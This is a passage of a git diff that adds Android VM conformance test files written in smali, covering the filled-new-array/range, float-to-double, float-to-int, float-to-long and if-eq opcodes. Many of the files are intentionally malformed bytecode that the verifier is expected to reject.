+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array/range {v5..v10}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_5.smali
new file mode 100644
index 0000000..730a789
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_5.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array/range {v4..v8}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_6.smali
new file mode 100644
index 0000000..c58eb45
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_6.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_6.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIIJ)V
+.registers 11
+    filled-new-array/range {v5..v9}, [I
+    return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_7.smali
new file mode 100644
index 0000000..1779f40
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_7.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_7.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array/range {v5..v9}, I
+    move-result-object v0
+    return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_8.smali
new file mode 100644
index 0000000..61afa58
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_8.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_8.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array/range {v5..v9}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_9.smali
new file mode 100644
index 0000000..f0abeb4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_9.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2009 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_9.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+    invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+    return-void
+.end method
+
+.method public run(Ljava/lang/Object;)[Ljava/lang/Object;
+.registers 10
+    filled-new-array/range {v9}, [Ljava/lang/String;
+    move-result-object v0
+    return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_1.smali
new file mode 100644
index 0000000..297c5fd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_double_1.java"
+.class  public Ldot/junit/opcodes/float_to_double/d/T_float_to_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)D
+.registers 6
+
+       float-to-double v0, v5
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_2.smali
new file mode 100644
index 0000000..55ee7c6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_double_2.java"
+.class  public Ldot/junit/opcodes/float_to_double/d/T_float_to_double_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)D
+.registers 6
+
+       const-wide v2, 3.14    
+       float-to-double v0, v2
+       return-wide v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_3.smali
new file mode 100644
index 0000000..77d32d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_double_3.java"
+.class  public Ldot/junit/opcodes/float_to_double/d/T_float_to_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)D
+.registers 6
+
+       const-wide v2, 1223
+       float-to-double v0, v2
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_5.smali
new file mode 100644
index 0000000..c873fd8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_double_5.java"
+.class  public Ldot/junit/opcodes/float_to_double/d/T_float_to_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)D
+.registers 6
+
+       float-to-double v0, v4
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_6.smali
new file mode 100644
index 0000000..542edce
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_double_6.java"
+.class  public Ldot/junit/opcodes/float_to_double/d/T_float_to_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)D
+.registers 6
+
+       float-to-double v0, v6
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_7.smali
new file mode 100644
index 0000000..8c09eec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_7.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_double_7.java"
+.class  public Ldot/junit/opcodes/float_to_double/d/T_float_to_double_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)D
+.registers 6
+
+       float-to-double v0, v5
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_1.smali
new file mode 100644
index 0000000..72b5aca
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_int_1.java"
+.class  public Ldot/junit/opcodes/float_to_int/d/T_float_to_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 5
+
+       float-to-int v0, v4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_2.smali
new file mode 100644
index 0000000..fd26b8b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_int_2.java"
+.class  public Ldot/junit/opcodes/float_to_int/d/T_float_to_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 5
+
+       const-wide v1, 3.14
+       float-to-int v0, v1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_3.smali
new file mode 100644
index 0000000..504953b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_int_3.java"
+.class  public Ldot/junit/opcodes/float_to_int/d/T_float_to_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 5
+
+       const-wide v1, 1234
+       float-to-int v0, v1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_4.smali
new file mode 100644
index 0000000..701ba84
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_int_4.java"
+.class  public Ldot/junit/opcodes/float_to_int/d/T_float_to_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 5
+
+       float-to-int v0, v3
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_5.smali
new file mode 100644
index 0000000..2065109
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_int_5.java"
+.class  public Ldot/junit/opcodes/float_to_int/d/T_float_to_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+
+       float-to-int v0, v4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_6.smali
new file mode 100644
index 0000000..6ff0cb6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_int_6.java"
+.class  public Ldot/junit/opcodes/float_to_int/d/T_float_to_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 5
+
+       float-to-int v0, v5
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_1.smali
new file mode 100644
index 0000000..e8484b8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_long_1.java"
+.class  public Ldot/junit/opcodes/float_to_long/d/T_float_to_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)J
+.registers 6
+
+       float-to-long v0, v5
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_2.smali
new file mode 100644
index 0000000..c89b2e2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_long_2.java"
+.class  public Ldot/junit/opcodes/float_to_long/d/T_float_to_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)J
+.registers 6
+
+       const-wide v2, 3.14    
+       float-to-long v0, v2
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_3.smali
new file mode 100644
index 0000000..3bb51da
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_long_3.java"
+.class  public Ldot/junit/opcodes/float_to_long/d/T_float_to_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)J
+.registers 6
+
+       const-wide v2, 1223
+       float-to-long v0, v2
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_5.smali
new file mode 100644
index 0000000..c97a143
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_long_5.java"
+.class  public Ldot/junit/opcodes/float_to_long/d/T_float_to_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)J
+.registers 6
+
+       float-to-long v0, v4
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_6.smali
new file mode 100644
index 0000000..b045254
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_long_6.java"
+.class  public Ldot/junit/opcodes/float_to_long/d/T_float_to_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)J
+.registers 6
+
+       float-to-long v0, v6
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_7.smali
new file mode 100644
index 0000000..88cb8f4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_7.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_long_7.java"
+.class  public Ldot/junit/opcodes/float_to_long/d/T_float_to_long_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)J
+.registers 6
+
+       float-to-long v0, v5
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_1.smali
new file mode 100644
index 0000000..5779d22
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_1.smali

@@ -0,0 +1,24 @@
+.source "T_if_eq_1.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
